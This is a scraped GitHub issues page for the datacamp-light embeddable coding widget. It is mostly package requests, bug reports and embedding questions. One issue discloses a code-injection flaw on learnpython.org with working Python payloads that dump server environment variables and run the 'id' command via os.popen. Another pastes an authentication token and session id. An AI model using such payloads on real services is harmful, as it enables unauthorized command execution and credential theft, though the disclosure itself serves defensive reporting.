datacamp / datacamp-light Goto Github PK
View Code? Open in Web Editor NEWConvert any blog or website to an interactive learning platform for data science
License: GNU Affero General Public License v3.0
Convert any blog or website to an interactive learning platform for data science
License: GNU Affero General Public License v3.0
Hi, I am just trying the package tutorial for the first time to teach a class.
However, I ran into problems right away when I tried to load financial data:
library(quantmod)
getSymbols("^GSPC")
Error: cannot open URL 'http://ichart.finance.yahoo.com/table.csv?s=^GSPC&a=0&b=01&c=2007&d=10&e=11&f=2017&g=d&q=q&y=0&z=^GSPC&x=.csv'
The same two lines I can execute on my local RStudio. DataCamp quantmod version is only 0.4.7 instead of 0.4.9, but I don't think that's the issue...
Thanks
Daniel
Not an urgent request at all, but was thinking it would be maybe nice to have this also for SQL - It's a nice to have for the Community. @filipsch what do you think?
I'm seeking to use datacamp-light in combination with the bio3d package for teaching purposes. I read in the tutorial I could make an issue to request new packages. I hope you can consider installing bio3d. Thanks. L
Could you install corrplot (https://www.rdocumentation.org/packages/corrplot/versions/0.2-0)? Thanks!
Would it be possible to add the odbc package?
Thank you very much!
@Kacawi commented on Wed Apr 19 2017
For R, the plots are shown in a separate "Plots" tab in the DataCamp Light chunks:
For Python, the plots don't show in the separate "Plots" tab. There's only a question mark icon:
@filipsch commented on Thu Apr 27 2017
This should be rather easy to fix, we'll take it up asap.
Hello,
Could you please install the following packages?
Lock5withR
Lock5Data
Thank you very much for your help.
Could you please install this package? https://github.com/UCLATALL/supernova/blob/master/supernova_1.0.tar.gz
Thank you so much.
@dfalbel commented on Tue Dec 27 2016
When using accented characters in exercises code comments, the sample code is ok:
When I run the code, the accented characters are rendered wrong in the console
Here a reproducible example.
Thanks very much!
@filipsch commented on Tue Dec 27 2016
@dfalbel I though you'd bump into that one... Our backend currently does not support exotic characters other than the utf8 ones... It's an issue that we're hoping to solve soon. Until then, I suggest you don't use any ã, ú etc... I bumped it up the issue queue internally, I'll let you know if we figure out a solution.
@dfalbel commented on Tue Dec 27 2016
No problems! Thanks for great support.
@filipsch commented on Mon Feb 20 2017
Something that has to be addressed on the datacamp-light
project.
I would like add VaRES package version 1.0 from CRAN
Hello,
How can I create a multiple choice question with datacamp-light, I have tried this code but there was an error :
DataCamp encountered the following error:
DC_CODE not set.
` <script src="https://cdn.datacamp.com/datacamp-light-latest.min.js"></script>
<code data-type="pre-exercise-code">
# pec
</code>
<code data-type="instructions">
- `"I can add integers, like " + str(5) + " to strings."`
- `"I said " + ("Hey " * 2) + "Hey!"`
- `"The correct answer to this multiple choice exercise is answer number " + 2`
- `True + False`
</code>
<code data-type="sct">
msg1 = msg2 = msg4 = "Incorrect, this command runs perfectly fine."
msg3 = "Correct! Because you're not converting `2` to a string with [`str()`](https://docs.python.org/3/library/functions.html#func-str), this will give an error."
test_mc(3, [msg1, msg2, msg3, msg4])
</code>
<div data-type="hint">Use the assignment operator .</div>
</div>
</div>`
Thankyou in advance.
Exercise at "http://www.learnpython.org/en/Loops" forces for a specific variable name "number" for loop iteration. Giving any other variable name doesn't work
If you go to https://www.github.com/datacamp/tutorial, pull the package, open it up in RStudio, and then call
devtools::build_vignettes()
The vignette will be built in the inst/doc
folder. If you open up the HTML that has been built, you get the following:
Script selected
Console selected
Which is strange. It can be something in tutorial
as well, but with earlier versions of datacamp light it looked fine...
Please add the following packages:
shinydashboard
fPorfolio
timeSeries
pastecs
fMultivar
@rubenarslan commented on Sat Sep 03 2016
I keep getting this, even in the example. It's somewhat random.
I tried disabling extensions, making sure I always only had one datacamp tab open.
What are possible causes? In the console I see 403s from the multiplexer subdomain that only seem to co-occur with the disconnected message. But I don't why there are sometimes 403s and sometimes not.
@filipsch commented on Sat Sep 03 2016
Hey @rubenarslan can you give some more details on how you tried this and got these errors? For which language? I just checked redid build_example()
and then rendered it, and that worked fine. You can check my steps in this screencast.
Also, make sure you have the latest version of tutorial installed:
update.packages("tutorial") # latest cran version
devtools::install_github("datacamp/tutorial") # latest development version
@rubenarslan commented on Sat Sep 03 2016
I installed the latest Dev version, built the example and then tried it.
Sometimes it worked, but sometimes it didn't after a reload. It seemed
random.
On Sat, 3 Sep 2016, 17:03 Filip Schouwenaars, [email protected]
wrote:
Hey @rubenarslan https://github.com/rubenarslan can you give some more
details on how you tried this and got these errors? For which language? I
just checked redid build_example() and then rendered it, and that worked
fine. You can check my steps in this screencast
https://www.dropbox.com/s/ks5nbu9px1j0f19/tutorial.mov?dl=0.Also, make sure you have the latest version of tutorial installed:
update.packages("tutorial") # latest cran versiondevtools::install_github("datacamp/tutorial") # latest development version
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhbYmt7LhDzvo8UOB17MdiKsLxUHXks5qmYw1gaJpZM4J0KdT
.
@filipsch commented on Mon Sep 05 2016
Hey @rubenarslan, you're sure you're doing that inside Chrome or another web browser?
@rubenarslan commented on Mon Sep 05 2016
Yes I tried both Chrome and Safari.
On Mon, 5 Sep 2016, 09:18 Filip Schouwenaars, [email protected]
wrote:
Hey @rubenarslan https://github.com/rubenarslan, you're sure you're
doing that inside Chrome or another web browser?—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhYxRE1FC7U8g83tb3i_5uONFVK5dks5qm8IvgaJpZM4J0KdT
.
@rubenarslan commented on Mon Sep 05 2016
You can try it out yourself here: http://opencpu2.psych.bio.uni-goettingen.de/ocpu/tmp/x0d4f45777ec3d7e30bf3cb2b68631ea57bf3a72a27ec70bc9b9/files/knit.html
This is the request that fails:
Request URL:https://multiplexer-prod.datacamp.com/input?sid=0595d4be848575e70f2a5968d16b7bc9&newCount=0
Request Method:POST
Status Code:403 Forbiddenpayload:
authentication_token:
"5a4b2ca7-60a8-4041-a9d7-ebd904825263"
command:"DC_DATA = ''↵DC_DATA = paste0(DC_DATA, '{"DC_RENDER_HEIGHT":198,"DC_RENDER_WIDTH":449,"DC_TYPE":"NormalExercise","DC_CODE":"plot(ran)","DC_ECHO":true,"DC_COMMAND":"console"}')↵execute(DC_DATA)"
@filipsch commented on Mon Sep 05 2016
If you quickly switch between exercises on the example link you posted, you sometimes get the error message, but if you just click Run again, it's fine, no?
Seemed to work for me.
By the way, make sure to make ran
explicitly available in the exercise, either in the sample code or in the pre_exercise_code
(you can read more about it in the vignette).
@rubenarslan commented on Mon Sep 05 2016
No, I almost always get the error message, without any switching and it's
not possible to make any progress because of that. That's why I haven't yet
figured out anything about making data available etc.
You get the error too but less often? Is it a race condition or a timeout
or something similar?
On Mon, 5 Sep 2016, 12:42 Filip Schouwenaars, [email protected]
wrote:
If you quickly switch between exercises on the example link you posted,
you sometimes get the error message, but if you just click Run again, it's
fine, no?Seemed to work for me.
By the way, make sure to make ran explicitly available in the exercise,
either in the sample code or in the pre_exercise_code (you can read more
about it in the vignette).—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhdm-TCcnRs2PtLvS0bUKAemwyy4-ks5qm_IUgaJpZM4J0KdT
.
@rubenarslan commented on Mon Sep 05 2016
It works maybe once in 20 times when I keep clicking the Run button.
Also, do I get this right:
It's not possible to connect two consecutive chunks, but let the user play around in both?
I.e. each chunk needs to be self-contained or have the code from all preceding chunks duplicated in a hidden "pre-exercise-code" chunk?
If so, it won't be useful for my purposes.
@filipsch commented on Mon Sep 05 2016
Yes, all chunks need to be self-contained. Every chunk is something that stands on its own, and is independent of what happens inside other chunks.
@rubenarslan commented on Mon Sep 05 2016
Too bad! If you did it differently, it would be very easy to turn an
existing knitr document into a step-by-step, this way not so much. In knitr
chunks depend on one another.
I could still use it for other things, let me know if you figure out how I
can avoid the timeout.
On Mon, 5 Sep 2016, 14:22 Filip Schouwenaars, [email protected]
wrote:
Yes, all chunks need to be self-contained. Every chunk is something that
stands on its own, and is independent of what happens inside other chunks.—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
datacamp/tutorial#15 (comment),
or mute the thread
https://github.com/notifications/unsubscribe-auth/AAyuhdBhWXwDrPRiISzso6fcPkl2nMRWks5qnAl9gaJpZM4J0KdT
.
@witusj commented on Sun Feb 05 2017
I have the same issue. After knitting the Rmd file I get a nice html file, but when running the exercise code, it states that the session has been disconnected. With a bit of patience and after repeatedly clicking the 'Run' button it finally runs. See this video for a demonstration: https://youtu.be/IFUw7GV6tas
I love the idea behind your tool and if this issue could be solved, it would be a quantum leap forward for me as a teacher. Truly revolutional!
Update: here's a picture of the inspection field
@filipsch commented on Mon Feb 06 2017
Hi @witusj I already elaborated on the issue in the datacamp/datacamp-light
repo; let me know if it persists.
@filipsch commented on Mon Feb 20 2017
Something that has to be addressed on datacamp-light
Hello datacamp-light team,
I try to import pyspark package but I get an error (No module named 'pyspark')
Could you add this library please to your plugin because it is one of the most important libraries in python?
And thank you for this great plugin.
It would be good to be able to leave more room for exercises that require more code.
Is there anyway you could add the iNZightPlots package?
It can be installed from this repository: http://r.docker.stat.auckland.ac.nz/R/
or from github: https://github.com/iNZightVIT/iNZightPlots
Hi there I think a console clear button somewhere inside the interactive shell will be great. Sometimes a learner/user will play around with trying some random stuff and the previous outputs will get piled up creating a confusion.
@filipsch thanks for your lighting response . well actually i just want implement it in my small blog that would help students to learn practically those who cannot afford to take courses from outside. so that want use datacamp, is it possible to load datacamp light with all packages ?
i would like to use all available libraries/packages in data camplight if its not possible, kindly suggest some other way to use all packages and libraries in datacamp
I am trying to run a shiny app (very simple) and throws an error.
library(shiny)
ui <- fluidPage()
server <- function(input, output) {}
shinyApp(ui = ui, server = server)
DataCamp encountered the following error during console:
Error in file(file, ifelse(append, "a", "w")): cannot open the connection
Please try again, or refresh the page. Sorry for any inconvenience.
If you're using DataCamp Light in certain themes, it's possible that the theme's CSS interfers with the CSS that DataCamp Light uses to render the iframe.
Hi,
I tried embedding datacamp-light into my application in these two steps:
var template_html = '<div data-datacamp-exercise data-lang="python">' + '<code data-type="pre-exercise-code"></code>' + '<code data-type="sample-code"></code>' + '<code data-type="solution"></code>' + '<code data-type="sct"></code>' + '</div>'; document.getElementById("editor-dialog").innerHTML = template_html; $("#editor-dialog").dialog({...
It immediately gets error "Uncaught TypeError: $(...).dialog is not a function" - an apparent conflict with jquery.
Is this a known issue?
Colin Goldberg
Jenkins ftw
We would like to use ggformula and mosaic with Datacamp Light. Could you add these packages?
Thank you!
Could anyone tell me how many std libraries that datacamp-light has support so far?
It's a bit invasive at the moment.
Please add the following packages:
Please add the most recent version of the "plm" R package (available on CRAN) to DataCamp.
It is basically the "go to" tool for conducting regression analyses with time-series data (e.g. fixed effects models). The Journal of Statistical Software article that describes this R program has 400 citations on Google Scholar.
Best,
Brian
DataCamp Light examples available on port 3003.
Error: ENOENT, stat 'C:\xxx\xxx\Desktop\cp\datacamp-light-master\example\undefined'
at Error (native)
We try to use the datacamplight in our site. After have success_msg we want to change to the next exercise by link to the next page so are there the callback value to us?
Hi, This is a promising work for e-learning, and congrats so far...
I was wondering whether is possible to install R packages either from CRAN or from Github?
Hi,
I am using "Datacamp Light" plugin for my education site which is in Turkish. Is it possible to translate button labels "Hint", "Run", "Solution" and the sentence "Powered by Datacamp" to Turkish language?
I am using Loco plugin to translate other plugins but that didn't work for Datacamp Light.
There is currently no way to rerender exercices that has been added in the DOM after the DOMContentLoaded event.
We could expose an function that would initialize newly added exercices
On learnpython.org, you can execute OS level commands.
eval(compile('for x in range(1):
import os
print(os.environ)','a','single'))
Returns:
environ({'PYTHONPATH': '/usr/local/lib/python3.5/dist-packages:/var/lib/python/site-packages', 'LC_ALL': 'en_US.UTF-8', 'HOSTNAME': '****', 'SHARED_PYTHON_PATH': '/var/lib/python/site-packages', 'LANGUAGE': 'en_US:en', 'HOME': '/home/repl', 'GITHUB_TOKEN': '****', 'PATH': '/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'PROXYTOKEN': '****', 'SHARED_R_PATH': '/var/lib/R/shared_libs', 'PYTHONWARNINGS': 'ignore', 'PYTHON_BACKEND_DEBUG': 'False', 'LANG': 'en_US.UTF-8', 'BOKEH_SERVER_URL': 'https://bokeh-server.datacamp.com/', 'TERM': 'xterm'})
Example to get OS code execution (simple example using 'id' command:
eval(compile("""__import__('os').popen(r'id').read()""",'','single'))
Returns:
Out[1]: 'uid=1000(repl) gid=1000(repl) groups=1000(repl)
More info: https://sethsec.blogspot.com/2016/11/exploiting-python-code-injection-in-web.html
After creating the html file, and testing it, it states that the session has been disconnected. With a bit of patience and after repeatedly clicking the 'Run' button it finally runs. See this video for a demonstration: https://youtu.be/IFUw7GV6tas
I love the idea behind your tool and if this issue could be resolved, it would be a quantum leap forward for me as a teacher. Truly revolutional!
Update: here's a picture of the inspection field (of another test)
@richierocks commented on Tue May 16 2017
Adapted by @filipsch
HTML plots don't display in DataCamp Light
Go to any datacamp light chunk, and try to submit the following code:
library(ggvis)
mtcars %>% ggvis(~wt, ~hp) %>% layer_points()
It should show up a HTML plot (the response from the mux clearly shows that a payload type of iframe
is sent back), but nothing shows. It seems that datacamp light is not 'listening' to payload types of type iframe
.
Plot -> Expand -> Plot again, the last plot will be 450²
Would it be possible to add the bioconductor package? Thanks!
I am trying to apply datacamp-light into our website. It works great. Is there any way to get a callback after success problem?
We (Weston & me) tried to get DC light working in http://stackoverflow.com/documentation/r/topics but we could not get it to work because it seemed that they have limitations on HTML uses.
However, I remember that it was said that it could work so maybe we did something wrong. Could a double check be done if this actually worked and if yes let us know? Thanks.
Is there a way to record and access data from user interactions in DCL?
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.